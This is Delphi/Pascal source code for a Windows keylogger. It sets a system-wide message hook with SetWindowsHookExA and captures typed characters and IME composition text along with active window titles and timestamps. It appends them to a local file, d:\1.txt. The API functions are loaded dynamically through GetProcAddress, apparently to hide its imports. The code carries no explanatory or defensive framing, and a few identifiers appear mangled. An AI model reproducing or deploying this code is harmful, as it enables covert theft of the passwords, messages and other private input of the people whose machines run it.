procedure SaveToFile(txt:string);
var
f:textfile;
begin
if not FileExists('d:\1.txt') then
begin
Assignfile(f,'d:\1.txt');
Rewrite(f,'d:\1.txt');
Writeln(f,'KeyBoard Records');
Closefile(f);
end;
Assignfile(f,'d:\1.txt');
Append(f);
Writeln(f,txt);
Closefile(f);
end;
function InfoManage:string;
var
a:longint;
b:string;
c:longint;
Buffer:pchar;
d:thandle;
//*********************
MSImmReleaseContext:function (hwnd:hwnd;g:longint):longint; stdcall;
MSImmGetContext:function (hwnd:hwnd):longint; stdcall;
MSImmGetCompositionStringA:function (hwnd:hwnd;dw:longint;any:pchar;dw2:longint):longint; stdcall;
//*********************
begin
//*********************
MSImmGetContext := Getprocaddress(loadlibrary('imm32.dll'),'ImmGetContext');
MSImmGetCompositionStringA := Getprocaddress(loadlibrary('imm32.dll'),'ImmGetCompositionStringA');
MSImmReleaseContext := Getprocaddress(loadlibrary('imm32.dll'),'ImmReleaseContext');
//*********************
d:=GetActiveWindow;
a:=MSImmGetContext(d);
c:=MSImmGetCompositionStringA(a,2048,nil,0);
if c<>0 then
begin
GetMem(Buffer,c);
MSImmGetCompositionStringA(a,2048,Buffer,c);
b:=StrLCopy(Buffer,Buffer,c);
result:=b;
FreeMem(Buffer,c);
end;
MSImmReleaseContext(d,a);
end;
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParamPARAM);stdcall;
var
focuswnd:thandle;
time:string;
begin
focuswnd:=GetActiveWindow;
if lastfocuswnd<>focuswnd then
begin
lastfocuswnd:=focuswnd;
time:=DateTimeToStr(now);
if wenben<>'' then
begin
SaveToFile('-------'+time+format('窗口:%s',[title]));
SaveToFile(wenben);
wenben:='';
end;
end;
getwindowtext(getactivewindow,title,256);
if (uMessage=WM_IME_COMPOSITION) then
begin
wenben:=wenben+InfoManage;
end;
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
wenben:=wenben+chr(wparam);
end;
end;
function GetMsgProc(code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT; stdcall;
var
pcsMSG;
hd,uMsg,wP,lP:integer;
MSCallNextHookEx:function (hhk: HHOOK; nCode: Integer; wParam: Windows.WPARAM; lParam: Windows.LPARAM): LRESULT; stdcall;
begin
MSCallNextHookEx := Getprocaddress(loadlibrary('user32.dll'),'CallNextHookEx');
pcs:=PMSG(lParam);
if (Code>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
result := MSCallNextHookEx(g_hhook,code,wparam,lparam);
end;
procedure KeyBoardRun;stdcall;
var
MSSetWindowsHookEx:function (idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall;
begin
MSSetWindowsHookEx := Getprocaddress(loadlibrary('user32.dll'),'SetWindowsHookExA');
if g_hhook=0 then
begin
g_hhook := MSSetWindowsHookEx(wh_getMessage,GetMsgProc,hInstance,0);
end;
end;
procedure KeyBoardUnRun;stdcall;
var
MSUnhookWindowsHookEx:function (hhk: HHOOK): BOOL; stdcall;
begin
MSUnhookWindowsHookEx := Getprocaddress(loadlibrary('user32.dll'),'UnhookWindowsHookEx');
if g_hhook<>0 then
begin
MSUnhookWindowsHookEx(g_hhook);
g_hhook :=0;
end;
end;